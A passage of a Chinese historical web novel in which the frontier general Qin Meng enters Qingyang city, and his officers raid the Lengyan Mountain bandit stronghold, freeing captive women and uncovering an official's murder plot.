可这份甜意没持续多久,她便皱起了柳眉,脸上露出几分苦涩,“我爹的性子你们也知道。
他是文人,向来有些瞧不上武夫,整天巴望着门当户对,断然不会容忍我喜欢一个边陲武人……”
这话一出,琴娘和小蛮瞬间没了声音。
车厢里的气氛,也一下子变得沉闷又压抑。
……
青阳县外,田畴如织,冬麦覆陇,农人扛着锄,挑着桶,穿梭其间,一派规整的繁荣生机。
该县城,作为郡衙治所的边城,三丈多高的城墙下,五万人口**于此,烟火气隐约漫出。
入城时,两百骑兵列阵的气势先让守军绷紧了神经,守门都头立刻带领一队郡兵上前盘查。
一旁的兵马都监董成见状,嘴角勾着幸灾乐祸的笑,阴阳怪气地嘟囔:“哼,睁大你们的眼睛。
可得仔细核对身份,别放了闲杂人等进去。”
马背上的秦猛眼
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皮都未抬,懒得与这些人周旋。
亲卫队长王善当即上前,将腰牌与公文“啪”地递到都头面前,冷声道:“这是我家大人的公文。
你给老子看仔细喽!昔日小南河边堡,如今的铁血军寨,飞虎卫副将秦猛,奉命入城公干。
——尔等敢拦,是嫌命长?”
“秦…秦猛?”这个名字如惊雷劈在董成耳中,他脸上的嘲讽瞬间僵住,取而代之的是极致的恐惧,连维持温文尔雅的仪态都做不到。
他失声惊呼,过于激动,身子一晃,竟真的从马背上直挺挺摔了下去,噗通,重重砸在地上。
“哈哈哈……”引得周围一阵压抑又忍不住的哄笑。
马车里的林婉儿见了,也是捂嘴娇笑。
秦猛斜睨着他,嘴角扯出一抹残忍的弧度:“还算你识相,没去抢那军功,不然,你这颗脑袋早该落地了。”
董成撑着地面想爬起来,本想搬出“董家”的名头放句狠话。
可脑海里突然闪过秦猛一言不合,便斩杀巡检使臣的狠厉作风,到了嘴边的话又硬生生咽了回去,只余下满脸惨白。
随行军卒皆知,当初若有人敢哄抢战利品,下场只会比那巡检更惨,这位是真的敢当场斩杀。
连董成都吓成了这副如见了阎王爷的模样,守城的兵卒们更是面如死灰,一个个僵在原地。
守门都头额头的冷汗顺着脸颊往下淌,牙齿打颤的“咯咯”响,慌忙跪伏在地,声音发颤。
“卑…卑职见过秦…秦将军!”
在燕北郡,“南河堡秦猛”五个字,比**的马蹄声更让人胆寒。
此人向来是一言不合就亮刀,连朝廷命官巡检使臣都敢当场斩于阵前,边防帅司不仅不罚,反倒嘉奖提拔,升他做了铁血军寨的知寨。
城中曾煊赫一时的吴、许两大家族,更是被他一手掀翻,落得家族覆灭,土崩瓦解的下场。
这样的煞星要入城,谁敢拦?
王善拍马凑到刚爬起来的董成面前,脸上挂着笑,话语客气却淬着冰:“董都监,我等奉令来郡城查办奸细、铲除隐患。
按规矩,还得劳烦你安排个驻扎的地方。”
董成憋了满肚子火,心里把“滚远点”三个字翻来覆去骂了几十遍。
可一想到秦猛的狠劲,连喘口气都不敢大声。
按制,边军入城,守军本就该接洽安置、供给粮草,他更没胆子违逆。
董成只能强挤出一张假笑,赶紧点了几个军汉:“放心,早安排妥了!你们跟着他们去城内军营。”
说完,他脸丢尽了,哪里还敢多留?
生怕再被秦猛盯上,带着自己的人灰溜溜地走了。
第74章 青阳郡城
“入城!”秦猛一挥手,两百骑兵浩浩荡荡入城,马蹄踏在砖石路上,发出整齐的“哒哒”声。
一路畅通无阻,连守城的兵卒都没敢上前盘问半句。
守军们见状,长长松了口气,握着**的手悄悄松开,额角的冷汗顺着脸颊滑落。
实在是秦猛凶名深入人心,他们以为要出乱子。如今队伍顺利入城,悬着的心总算落了地。
车队里的张崇和幸存兵卒满是疑惑。
你看看我,我看看你,眼神里满是不解。
他们是外乡人,实在摸不透,为何这郡城的守军见了这位边寨来的秦将军,竟怕成这副模样?
林婉儿攥紧了衣角,指尖几乎要嵌进布料里。
她悄悄抬眼,望着秦猛挺拔的背影,却暗自将“秦猛”这个名字牢牢刻在了心里。
——若不是这位将军,她此刻不是香消玉殒就是落入**手中,哪还能活着踏入这繁华郡城。
队伍穿过瓮城,青阳城的热闹才真正铺开。
相比南河城寨处处透着的肃杀之气,这里少了分紧张,却多了几分烟火气,越发显得繁华。
主街宽阔,足够四匹马并行,行人摩肩接踵,大多穿着体面,脸上带着安稳日子该有的平和。
古色古香的屋宇下,绸缎庄、粮铺、酒楼、杂货行一字排开,幌子在风中轻轻摇曳,上头的字迹清晰醒目,一眼就能看清各家的营生。
街边的摊贩喊叫声络绎不绝,卖糖葫芦的小贩扛着草靶子,糖衣裹着的山楂透着鲜红;
蒸包子的铺子冒着热气,白面馒头的香气飘出老远;连西域来的胡商都摆着摊子,高鼻梁上架着异域风情的银饰,用蹩脚的汉话高声叫卖着皮货、香料和药材,引得不少人围观。
“秦将军。”张崇策马来到秦猛身边,勒住缰绳,对着秦猛拱手行礼,语气里满是感激。
:“大恩不言谢!我等需去郡衙交割,复命。他日张某必定登门拜谢,今日就先别过了!”
说罢,他对着秦猛再行一礼,带着剩余人手护着车队,转向了通往郡衙的另一条路,车队的车轮碾压着路面,渐渐消失在人群中。
那豪华马车中似乎传来女子的叹息,
秦猛则领着骑兵队伍跟着几名引路的军卒往前走,马蹄声被街上喧嚣掩盖,倒也不显得突兀。
没走多远,旁边的巷子里忽然挤出七八个穿着各异的汉子,有的穿着短打,有的罩着粗布长衫。
老远就朝着秦猛的方向喊着“秦大人”,快步凑上来接应。
这是常胖子留在青阳城的人手,早就得了消息,特意在这里等着,好帮秦猛处理些杂事。
秦猛对着他们微微点头,示意他们入队随行。队伍则继续往军营的方向去,脚步没有丝毫停顿。
这座军营靠在北城区,紧挨着城墙。
规模虽不算大,但营寨规整,栅栏、帐篷一应俱全,容下三五百人却绰绰有余。
而且离城中心的县衙、郡衙都近,办事也方便。
安顿好队伍,让兵卒们各自归营歇息,秦猛又让人去县衙催办粮草,免得队伍断了供给。
随后,他叫来了袁飞和王善,语气严肃地嘱咐:“队伍歇稳了,就抓紧时间操练磨合。
对了,还有那批俘虏,你们多派些人手看好,别让人钻了空子,把他们灭了口,这些人还有用。”
秦猛补充道,眼神里带着几分警惕。
——青阳城鱼龙混杂,保不齐有人不想让俘虏开口。
袁飞和王善连忙点头应下,齐声说“属下明白”,不敢有半分懈怠。
随后,秦猛换了身寻常的粗布衣裳,把腰间的佩刀藏在衣襟下,只带着几个亲卫悄悄出了营。
在常九安排的接应人员带领下,在城里慢慢巡视。
他想看看这座郡城的真实情况。
青阳城有边军守着,**虽时常来边境骚扰,但大多只在城外劫掠,没真正攻进过城。
所以城内倒没出过太大乱子,日子还算安稳。
燕北郡与广袤的草原接壤,当地百姓除了种地,也有不少擅长放牧的,家里养着马牛羊。
这些牲口不仅能自用,还能卖给商贩,引得不少腹地州府的商贩专程来收购,再运去其他地方卖。
街上的行人、商队络绎不绝。
有的商队还带着骆驼,一看就是从远方来的;
甚至还有艺人在街边摆台表演,有耍杂耍的,有卖唱的,琵琶、二胡的声音顺着风飘过来,吸引了不少路人围观看热闹,城内热闹非凡。
走了没一会儿,前方忽然传来一阵悠扬的琴瑟声,夹杂着女子的歌声,调子婉转,比街边艺人的表演精致多了。
秦猛顺着声音望去。
只见不远处有几座气派的酒楼,朱红的大门,雕花的窗棂,门口站着穿着体面的伙计,正笑着迎送客人。
而酒楼旁边,还有两家挂着“红袖坊”“倚春楼”幌子的青楼,琴声和歌声就是从那里飘出来的,隔着老远都能闻到楼里飘出的熏香。
这些地方显然不是普通人能进的,门口驻足的行**多只是远远看着,眼里满是羡慕。
——能在里面寻欢作乐的,都是城内的富户公子,或是当官的老爷,寻常百姓连门槛都摸不到。
秦猛看了一眼,便收回了目光,继续往前走,心里却对青阳城的贫富差距有了些底。
郡城看着确实热闹,表面上还算安稳,可仔细看就会发现不对劲。
街边的墙角下,还有那些偏僻的巷子里,缩着不少从边境逃来的流民。
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他们大多衣衫破烂,有的甚至连鞋子都没有,光着脚踩在冰凉的地上,脸黄肌瘦,一看就是饿了好几天。
还有些流民拖家带口,女人怀里抱着哭闹的孩子,老人则拄着拐杖,缩在角落里瑟瑟发抖。
实在没办法了,就捧着个缺口的破碗,怯生生地向行人乞讨,声音细若蚊蝇,生怕惹得路人不耐烦。
谁都知道,大周北疆的界河防线长达数千里,贯穿雍、并、幽等好几个州府。
这些年**越来越猖獗,屡屡越过防线来劫掠,烧杀抢掠,无恶不作,那些被祸害得家破人亡的百姓,只能往内地逃。
青阳城作为郡城,自然成了他们的落脚地之一。
秦猛没说话,只是带着人默默走着,把城里的真实情况一一记在心里。
他偶尔会停下脚步,跟身边的**等人低声商议。
打算等回头跟县衙提及此事,让县衙在城内各处张贴榜文,号召这些无家可归的流民前往铁血军寨安顿,有条活路,也能给军寨添人手。
而“秦猛来青阳城办案”的消息,早已像长了翅膀似的在城里悄悄传开,暗地里搅起了不小的波澜。
郡丞府内,董成一脚踏进门,指着门外方向,胸口剧烈起伏:“伯父!您可得为我做主。
那秦猛也太狂妄了!刚入青阳城就对我冷嘲热讽,还说要彻查城里的事,说什么抓捕奸细。我看来者不善,根本没把咱们郡丞府放在眼里!”
总之,董成在秦猛面前吃了瘪,正对着自己的伯父、燕北郡丞董袭咬牙切齿地告状,把秦猛这厮的“狂妄蛮横”添油加醋说了一遍。
董袭在官场摸爬滚打半辈子,静静地听着,指尖摩挲着茶盏边缘,釉色在烛火下泛着冷光。
他抬眼瞥了眼气急败坏的侄子,声音沉得像浸了水的石头:“急什么?他秦猛是奉旨办案,还是另有所图,现在下结论太早。”
“可他这态度明摆着是来挑事的!”
董成急得直跺脚,“再放任下去,后果不堪设想。郡守千金安然回到郡城,就是他狗拿耗子。”
董袭放下茶盏,指节轻轻叩了叩桌面:“明日备一桌宴席,就说为他接风洗尘。是骡子是马,席间聊一聊,总能探探他的底。”
与此同时,县衙里的刘伟刚听完下属的禀报,手里的茶杯“哐当”一声砸在地上,滚烫的茶水溅了满裤腿,他却像没知觉似的,
他瘫坐在椅子上喃喃自语:“完了,完了……他肯定是来算旧账的!肯定是之前那几桩事。这凶人这回亲自跑过来,就是要找我报仇的啊!”
下属想劝两句,却见刘伟双手抓着头发,身子抖得像筛糠,话到嘴边又咽了回去。
——县丞这副模样,显然是被秦猛的名头吓破了胆。
第75章 探查与暗流
夕阳西下,金色的霞光洒落在大地上,把青阳城的屋顶都染成了暖黄色,街上的行人渐渐少了些,摊贩们也开始收拾摊子,准备回家。
秦猛带人混入渐渐稀疏的人群中,如同寻常百姓四处闲逛。
他偶尔会停下脚步,询问店铺伙计,了解些城内的情况。
这次出来,主要目的有三点。
一是记住城内大致的地形,搞清楚郡衙、县衙、军营这些重要地方的坐落位置,还有城内兵力的分布情况,免得日后办事摸不着方向。
二是了解城内富户的情况,看看哪些富户口碑好,实实在在做生意、还肯接济逃难的流民。
哪些富户臭名昭著,靠着欺压百姓、勾结官府发横财。从百姓口中得知,他心里也好有个数。
三是按照产业地契上的地址,确认刘德才在青阳城的产业。
果然,这些产业都在十字路口、主街旁边这种热闹的街道上,都是寸土寸金的黄金地段。
秦猛没有亲自出面,而是让**带着两个亲卫,假装成外地来的商贩,前去打探情况。
在钱财的开道下,从几家商户的伙计、酒楼的跑堂那里,**很快就摸清了情况。
——近来,这些原本属于刘德才的产业,都来了些陌生面孔接管,还把原来的老掌柜、老伙计都辞退了。
不用想也知道,是刘德福插了手,把这些产业占为己有。
得知这个消息,秦猛心里针对刘德福下手的想法更坚定了。收拾这种奸诈之徒是为民除害。
经过这一下午的观察,他对这座边陲郡城有了基本了解。
城里的百姓大多还算安居乐业,能吃饱穿暖,街上的商铺也都正常营业。
但酒楼、茶馆里到处都在议论**,担心今年冬季酷寒,**哪天来犯,是否会攻进城里。
可见,**的骚扰给百姓带来了不少恐慌。
眼下青阳城最大的问题,还是草原上的**。
以及那些因**而流离失所的流民。
城内阴影角落里的流民,粗略算下来至少有数百人。
县衙、郡衙还有城内的富户,对这些流民的安置却没什么动作,既没有施粥,也没有安排住处,任由他们在街头流浪,实在说不过去。
“果然,郡城没有主事的长官,弊端都显现出来了。”
秦猛眯眼望着西边天际的残阳,夕阳的余晖落在他脸上,眼里的寒光却不自觉地迸现。
——看来这青阳城,也需要好好整顿一番了。
随后,他带着人返回军营,刚进营门,王善就第一时间迎了上来汇报,手里拿着一张帖子:
“大人,您走后不久,县衙就派人来了,说知县晚上设宴,请您去县衙赴宴;郡衙那边也派人来传话,说董郡丞明日设宴,想为您接风。”
“嗯,正好,我正想去拜访他们。”秦猛点头,对这个结果并不意外,有得谈,最好不过!
他转身返回自己的营房,换上了轻甲,又留下王善、庞仁两人坐镇军营,免得营里出什么岔子。
随后,他叫上袁飞随行充门面,带上**等几名亲兵,牵着马出了军营,准备去县衙赴宴。
“秦大人,卑职见过秦大人!”刚走到营门外,就有人高声呼喊。
秦猛停下脚步,转头一看,赫然是老熟人张琨,正在营门外徘徊,见秦猛出来,立刻快步跑了过来。
张琨跑到秦猛面前,正准备叩拜行礼,却被秦猛伸手制止住了:“不用多礼,都是自己人。”
“谢大人。”张琨连忙起身,连连对着秦猛作揖,再次看到秦猛,他心里既复杂又庆幸。
——复杂的是秦猛如今的地位,早已不是当初那个在堡里被人欺负的“傻子”;庆幸的是自己破财免灾,现在看来,自己当初的选择是对的。
他早就听说了,这位秦将军从“傻子”崛起后,就一发不可收拾!
短短半月不到,就从一个普通的堡兵,跳过堡主,成为了铁血军寨的知寨官,飞虎卫副将。
成了真正的七品官、职,身份显赫,地位比青阳城的知县丝毫不差,甚至还要更受重视。
“这是个机会,我一定要把握住,跟紧秦大人……”
张琨得知秦猛来青阳城的消息后,这般自我鼓劲。一得到消息,就赶来军营外等着拜见秦猛。
“不知张班头有什么事?”秦猛看着张琨,语气平和地问道,他猜到对方肯定是有事相求。
张琨不敢有任何隐瞒,连忙凑到秦猛身边,压低声音,把自己的来意一五一十地说了出来。
“大人,卑职是替人来的,是本县的刘县丞。他得知您来了青阳城,还以为您是来找他算账的。
差点给吓死,急忙找到卑职,让我给您带个话,说之前军功田的事,都是被刘德才逼的。他也是没办法,抹不开这个面子,身不由己。”
“他还说,愿意破财免灾,只要您能饶过他,他愿意出……”说到最后,张琨的声音压得更低了,一边说一边伸手比划着,生怕被别人听到。
“他愿意出两千两银票,还有一千石粮食,而且他管着青阳县的事,可以划拉更多粮草。多给军营送牲口,只求您宽宏大量,放他一马!”
秦猛听着,眼神微微闪烁,心
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里快速盘算着。
这刘县丞虽然有错,但罪不至死,而且留着他,以后在县衙办事也方便些,还能拿到粮草,牲口,以及倒腾物资,倒是个划算的买卖。
沉吟片刻后,他对着张琨点了点头,答应下来:“可以,就当我卖你这个面子。你回去告诉刘县丞,只要他好好办事,别再跟我耍花样。
秦猛放他一回。我也不是那种滥杀无辜的人,只要他不触碰到我的底线,好日子还在后头。”
“多谢大人体恤!卑职这就回去跟刘县丞说!”张琨听到这话,心里顿时激动起来,连连对着秦猛道谢,脸上满是喜色,事办成,他也有好处。
“不过,你也不能白跑一趟。”秦猛话锋一转,看着张琨,语气严肃起来:“你得按照我给你的名单,把青阳县富户召集,说是秦猛有买卖……”
张琨连忙点头,拍着胸脯保证:“大人放心!这件事包在卑职身上,明天,卑职定当依计行事。把药请的人请到绝不会耽误您的事儿。”
说完,他又对着秦猛行礼,欢天喜地地转身离开。
秦猛翻身上马,率队直奔县衙赴宴。
……
……
郡守府,后院的腊梅开得正盛!
林安国刚处理完府内琐事,安抚好跟随自己多年的老部下,又给死去仆人的家属发放抚恤金。
他脚步才终于轻快起来,朝着林婉儿的住处走去。
掀开门帘的瞬间,见女儿正坐在窗边看书,如以前那般温婉的模样,倒看不出受到惊吓。
他悬了半月的心骤然落地,快步上前,声音里难掩喜悦:“婉儿,爹爹来了,可算安好?”
林婉儿抬头见是父亲,眼眶一红,起身扑进他怀里:“爹!今天好险,女孩怕见不到爹爹。”
林安国轻轻拍着女儿的背,指尖带着后怕的颤抖,却笑着宽慰:“回来就好,回来就好,以后你就在郡城,有爹在,没人再能伤你。”
父女两三个月未见,有说不完的话,
入夜后,林安国在书房召见张崇,烛火将两人的影子映在墙上。听张崇细说队伍遇袭的经过。
重点强调铁血军寨秦猛率队现身相救,并且将他的推测,以及幽州险恶等事情详细说来。
林安国原本平和的眼神渐渐锐利,听到狼戎骑兵似乎是专程等待,又知道是郡守家眷时。他眼中陡然迸出寒光,指节无意识地叩着桌案:
“果然如我所料,明升暗降,边陲之地,凶险万分。”
“秦猛……此人倒有几分胆识。他率军前来,当是来者不善,看来,这燕北郡城,要变天喽!”
第76章 夜夺冷艳山
冷艳山笼罩在暮色之中,山风呼啸,吹得枯枝簌簌作响。
张富贵蹲在一块巨石后,锐利的目光扫视着山腰处的山寨轮廓。
“铁山,你看那寨门,守备比预想的还要松懈。”张富贵压低声音,手指无声地点向山寨火光处。
王铁山眯眼细看,嗤笑一声:“大人说得没错,严彪这厮,带走了所有精锐喽啰,就留这些老弱病残守家,合该今日栽在咱们手里。”
他摩挲着腰间刀柄,眼中闪过猎人般的锐光。
两人率领骑兵队,专走僻静小道,避开人烟耳目。于昨日凌晨出发,今天黄昏时分抵达。
埋锅造饭,将士休整。
入夜后,人衔枚,马戴嚼,摸上山来。
王铁山观察地势,说道:“富贵兄,你正面突进,我带人从后山摸过去,避免逃脱一人。”
张富贵微微颔首,却不急于行动。
他从怀中掏出一张粗糙的山寨布局图。
——这是出发前秦猛亲自交给他的,是经过审讯得到,上面密密麻麻标注了可能的哨位和暗道。
“弟兄们,按计行事。”
“记住,要快、要狠、要静。”
张富贵的声音低沉而有力,“得手后以红炮为号。”
红炮,是火器作坊的产物,高空**,红色火光缓缓消散。这是特殊号炮,类似信号弹。
百余名精锐迅速套上准备好的黑袍,遮挡住铁叶甲,防止反光,脚步尽量放轻,悄无声息。
张富贵特意让几个身形魁梧的士卒打扮成严彪亲信的模样。
他自己则换上一件带熊皮滚边的外袍,远看与严彪有七八分相似。
“行动!”
张富贵一马当先,王铁山押后策应。
一行人如鬼魅般摸近寨门,脚步轻得连林中的夜枭都未惊动。
“什…什么人?”寨墙上一名贼匪被细微的响动惊醒,刚欲呼喊,就被张富贵一箭封喉。
另一守卒骇然欲逃,王铁山手中腰刀已脱手飞出,正中心窝。
“!”张富贵赞许地瞥了王铁山一眼。
王铁山咧嘴一笑,露出森白牙齿,带人散开。
寨门被悄无声息地推开,张富贵带队如潮水涌入。留守的三十余名老弱匪徒尚未反应过来,已被四面合围。
几个负隅顽抗的顷刻毙命。
机灵者察觉到不对,想借着夜色从后山跑路。
好死不死撞到王铁山带领的几支小队。
一拥而上,将其按倒在地,余者皆跪地求饶,瑟瑟发抖。
“哼,我等乃是铁血军寨边军将士,奉命剿匪。”张富贵提着狼牙棒,恶狠狠地看着这群俘虏。
“亏得大人仁慈,凡罪不至死,卖苦力,劳动改造。要是敢跑,直接打死,丢到后山喂野狗。”
“是!”众军汉整齐划一地回应。
“控制各处要道,搜查所有房屋,不得遗漏一人。”
张富贵令下,士卒们立即分头行动。
王铁山带队直奔粮仓、库房等重地。
不一会儿,他就咧嘴傻笑,兴冲冲地回来报喜。
“富贵,富贵…,大了,咱们发大了!
“粮仓里堆满粮食袋,没有统计,目测两千多石。
布匹库里光绢帛就有百余匹,粗麻布三百余匹。还有十几车毛皮,棉花,数百余坛陈年酒酿...”
张富贵打断他:“库房银钱呢?”
“现银八千多两,黄金五百两,铜钱堆积数不清。
后院还有驴骡上百头,耕牛四十多头,肥羊两百余头,鸡鸭家禽几十笼,这些贼人吃穿不愁。”
王铁山兴奋地搓着手,“猛哥儿果然神机妙算,冷艳山空虚,财富甚多,这回马**得好哇。
这黑山熊**这么多年,真是攒下金山银山了!”
张富贵神色却愈发凝重:“钱粮物资,清点造册。我们是铁血堡寨,纪律森严的边军精锐。”
他特意加重了“边军”“造册”几字。
“明白。”王铁山立即会意,重重点头。
此举,是要确保所有战利品如实上报,半点不得私藏。
张富贵横肉脸上露出笑容,果断分配任务:“好,你负责统计,我来安排,加强警戒。
大人常训:莫要被钱财蒙眼,胜易骄,骄必败。”
“别忘了,这山寨还有条漏网之鱼。”
王铁山郑重点头回应:“我这就安排人登记,每一笔都记清楚来源去处,绝不让人私拿半分!”
说罢,他欲转身招呼军卒前往仓房。
就在这时,西厢房方向突然传来一阵嘈杂的脚步声。
一个满脸急色的军卒连滚带爬地跑过来,声音发颤:“张、张队将,王队将!西厢房那边……
搜出好多女人,还有人没穿衣裳,吓得直哭。”
“女人?”张富贵与王铁山对视一眼,皆是脸色一变,拔腿就往西厢房赶。
刚到院门口,屋里传来压抑的啜泣声更甚,几个军卒在外面满脸尴尬,见到队将来了松了口气。
张富贵,王铁山推门进去。
只见昏暗的房间里,二十多个女子挤在墙角,有的裹着破旧的被褥,有的只搭着几片碎布,露出的皮肤上满是青紫的伤痕,双眼红肿得像核桃。
见有人进来,女人们吓得纷纷往角落缩,哭声更显凄厉。
“都别动!我们是铁血堡寨的边军,不是山贼!”
张富贵立刻放缓声音,抬手示意身后的兵卒退到门外,自己上前两步,尽量让神情显得温和。
“我
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是边寨队将张富贵,这是王铁山,我们已经把冷艳山的贼人全部剿灭,你们,安全了。”
见女子们依旧惊魂未定,王铁山也粗声粗气道:“别怕!那些掳掠人口,杀千刀的恶徒都将公审,被处决,以后没人敢欺负你们!”
过了好一会儿,才有一个年纪稍长、衣衫相对整齐的女子颤抖着开口:“官、官爷……你们真是边寨官军?真的把那些贼人杀了?”
“千真万确!”张富贵点头,“冷艳山大当家、三当家还有所有头目,一个没跑,非死即伤。
你们都是被他们劫掠来的良家女子?”
女子们觉得这伙人没恶意,这才敢抬起头,泪水又涌了出来,七嘴八舌地诉说着自己的遭遇。
——有的是赶集时被掳,有的是在家中被抢,还有的已经被关在山寨里半年多,日夜受着欺凌。
张富贵越听脸色越沉,猛地一拳砸在旁边的桌案上,木桌当即裂开一道缝:“这群畜生,杀得好!”
“当初就该把他们**万段!”王铁山也气得咬牙,骂咧着让那些山贼死得更痛快,便宜他们了。
骂完,张富贵立刻吩咐兵卒:“去营里找些干净的旧衣裳来,多拿几件,给姑娘们穿上。
再烧点热水,拿些干粮过来!”
他又转向女子们,语气放缓了些,“姑娘们放心,我们会派人护送你们回家,要是家里没人了,也能跟着我们回铁血堡寨,安顿下来。”
很快,几个军汉抱来一堆干净的粗布衣裳。
张富贵和王铁山转身退到门外,任由女子们穿戴。
屋里的啜泣声渐渐小了,偶尔传来几句低声的感谢。
张富贵站在院外,想着女子的遭遇,心里暗道:猛子说得对,打仗不光是杀贼,更要护着这些底层百姓,不然,赢了又有什么用?
士卒们很快在寨中各处布防。
张富贵亲自巡视,检查哨位,不仅明哨加倍,还设置了多处暗哨,**全部上弦,严阵以待。
“富贵,何必如此紧张?”王铁山有些不解。
“严彪主力已被咱们尽数歼灭,就算外面有个二当家。眼下正值深夜他又能掀起什么风浪?”
张富贵站在寨墙上,目光如炬地扫视着山下:“铁山,你记得大人说过的话吗?''战场上最致命的往往不是明处的敌人,而是暗处的疏忽''。
咱们亲自审讯贼人,知道这山寨与地方官府勾结。咱们外出作战,谁也不能保证意外何时来。”
张富贵想到秦猛酒桌上讲解的战术,深以为然:“你看这冷艳山易守难攻,得以防万一,若是像我们那般夜袭,咱们可就成了瓮中之鳖。”
王铁山闻言肃然,不再多言。
第77章 风波再起
冷艳山下,马灯火光蜿蜒如长龙。
一支百多人的骑兵疾驰而来,呼啸的山风盖不住马蹄声,“得得”声在寂静山谷中格外清晰。
这是二当家“双尾狐”韩勇,得好友告密说黑山熊严彪和索命虎黄奎已带队下山,正急忙回转山寨。
“二当家,您看这马蹄印!”一名心腹喽啰突然勒马惊呼。
韩勇俯身细察,面色渐渐凝重——山道上的马蹄印杂乱无章,显然是大股马队经过不久。
喽啰喜道:“莫非大当家得胜归来?”
韩勇却摇头,语气沉重:“不可能。边堡烽火相望,援**瞬即至,大当家若真去攻打,必定失败,逃脱几率渺茫,此刻怕凶多吉少。”
他本是边堡戍卒出身,深知边军厉害,多年来一直竭力约束山寨避其锋芒,从不敢主动招惹。
想到严彪竟背着自己贸然出击,韩勇心中五味杂陈。
这黑山熊虽恶贯满盈,当年却在他重伤濒死时救过他一命。
为报此恩,他才甘居山寨,常年在外经营皮货、药材生意,只想赚足银钱带众匪洗手上岸,可如今却要引火烧身。
看着地上杂乱而硕大的马蹄印,韩勇一眼认出是草原好马,瞬间猜到是官兵,甚至极有可能是边军。
他望了眼不远处的山寨,最终咬牙下令:“走,不回山寨了!”
“什么?”众多喽啰集体呆愣。
明明说好是赶回山寨收拾行囊、远遁他乡的。
一个身穿黑袍、兜帽遮面的人声音沙哑地劝阻:“韩当家,山寨就在前方,无论是收拾钱财远遁,还是固守待变,都是上策,为何不回?”
韩勇环视众人,沉声道:“再混乱的朝局、再腐朽的军队,也容不得山贼挑衅幽州虎贲军。”
他指着地面的马蹄印补充:“你们看,这多半是边军偏师留下的,搞不好山寨已经被拿下。
“我们此刻返回,就是自投罗网!”
一声无奈的长叹里,他在心里为严彪、黄奎等人默哀。
喽啰们一听是边军来袭,返回山寨敛财的欲望大减,谁也不愿为了身外之物而丢了性命。
唯有那黑袍人反复呢喃着“边军”,突然提出不同意见:“韩当家,边军来了,此乃好事哇!”
他攥紧缰绳,声音里满是愤怒、恐惧与不甘:“刘德福那群人,已经舍弃冷艳山这颗棋子。
还展开了灭口计划,你我还有诸位兄弟都在名单里,连我这个鞍前马后多年的心腹也没放过……”
“我偷听到消息后连夜出逃,侥幸逃出幽州城,可…可家眷却来不及带走。”
这黑袍人正是刘德福的心腹管事刘三,无意间偷听到书房的灭口计划后,连夜出逃刘府。第一时间找到在城内的生意伙伴兼好友韩勇。
两人商议后集合人手火速赶往山寨,想趁乱卷财远遁。
韩勇见状忙好言安慰:“三郎冷静,事情总有办法,他们没抓到你,心存忌惮,不至于动你的家人,以后总有机会,再把他们救出来。”
待山风吹散几分激动,刘三咬牙切齿道:“刘德福心狠手辣,还牵扯了不少人。他们绝不会放过我等,幽州已经没有我们的容身之所。”
“为了安全,不如投靠边军寻求庇护,我们知道许多他们的秘密,这就是筹码,边军肯定愿意护着我们,跟地方官府暗中交锋,讨好处。”
“理是这个理。”韩勇点头赞同,却又犹豫:“可山上,也有可能不是边军,是幽州厢军。”
“一试便知,我去!”刘三记挂家人安危,主动请缨。
韩勇也立刻跟上:“怎能少得了我?你我同行。”
见当家的都如此,喽啰们也纷纷响应,从者云集。拍着胸膛吆喝“算我一个”“怕个鸟”?
足见韩勇在众喽啰心中的威望。
最终韩勇点了十来人,准备好防具,再让其他人熄灭火把、牵马退入林子,在山下等候。
他自己则带着精锐低喝:“全体下马。”
月黑风高,山寨里灯火零星。
韩勇亲率十来个精锐悄步摸近,远远望见寨门紧闭,寨门、墙上喽啰的衣着,踱步如常。
可他却暗自嘀咕“怪哉”。
——山寨看似平静,门栅没损毁,却透着一股诡异。
除了风声再无其他动静,建筑区内一片黑暗,完全不是往日灯火通明,喽啰聚赌的松懈模样。
正迟疑时,破空声突然锐响。
“有埋伏!”韩勇大吼着急退,一支**箭擦着他的衣角飞过。
霎时间!
火把四起,寨墙上涌现出无数弓**手。
墙头的张富贵冷笑:“韩二当家,恭候多时了。”
“就带这么点人来,不是找死吗?”
原来,山间暗哨早发现了山下火光,悄悄汇报有人靠近,张富贵带队,故意设下圈套伏击。
韩勇心知中计,却临危不乱:“散开,火箭烧寨!”
匪众立刻散成扇形,弓弦响处,十数支火箭直扑寨墙。
可张富贵早备好湿毡,士卒们举毡一扑,箭矢大多坠地失效。
这时韩勇忽觉脑后生风,急忙转身架住一记重劈。
哐啷,火花四溅。
正是王铁山率队杀到。
“好贼子!”王铁山大喝一声,刀势如**。铁匠出身的他力量极大,耍的一手好刀。
韩勇勉力招架,虎口瞬间震裂,心中骇然:这身手绝不是普通军汉!
几个回合下来,韩勇渐感不支,连连后退入人群。
王铁山一把甩掉黑袍,露出底下的铁鳞甲,吼声如雷:“严彪、黄奎早已全军覆没,尔等还不归降?”
此时,部分军卒已排开阵势,眼看就要冲杀过来。
“是边军?”喽啰群里有人高声惊呼。
张富贵冷冷下令:“**手齐射,刀盾队包抄!”
嗖嗖的破空声
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不断,韩勇急忙指挥喽啰列阵用盾牌抵挡。可还是有两人中箭,惨叫着中箭。
不等军卒再次开弓,夜色中突然传来一声凄厉却果断的呼喊:“住手,我等投降!投降!”
黑袍人刘三飞奔而来:“诸位军爷,我们没有恶意,无心无边军为敌,只是回来收拾家当。”
“幽州漕运判官刘德福等人,已经派军来灭口了!”
“你们真是边军?”韩勇也大声喝问。
张富贵闻言制止手下,反问:“你们问这个做甚?”
“还有你说的刘德福派军灭口,又是怎么一回事?”
韩勇长叹一声,扔掉手中的刀:“此事说来话长,在下是冷艳山寨二当家双尾狐韩勇,常年在外经商买卖,从未参与过山寨龌龊事。”
“这事我们已经审出来了,不然之前会用强**齐射。”张富贵挥退军卒戒备,目光仍紧盯着韩勇。
韩勇随即指向黑袍人:“这位才是当事人,他是幽州刘家的管事刘三,是他先来告知我山寨变故的。”
刘三掀掉兜帽,露出一张满是恨意的脸:“军爷,我知道太多刘德福的秘密,所以被他列入了灭口名单。”
“前段时间,是我奉命带千石粮食、彩绸布匹和牲口好酒上山,唆使大当家严彪带队去攻打边堡的……”
他越说越恨,将事情经过言简意赅地讲了出来。
内容与之前酷刑审讯严彪等头目得到的口供分毫不差,张富贵和王铁山对视一眼,已然信了大半。
“那派军队灭口又是怎么回事?”张富贵追问。
刘三刚要回答,山下突然传来急促的马蹄声。
一个喽啰慌慌张张地跑上来:“当家,不好啦,山下来了大队官兵!”
刘三看着他,语气萧瑟:“来了,他们果然心狠手辣,是为了避免龌龊事败露,想趁着冷艳山寨空虚出兵剿匪,把所有知情人士都灭掉。”
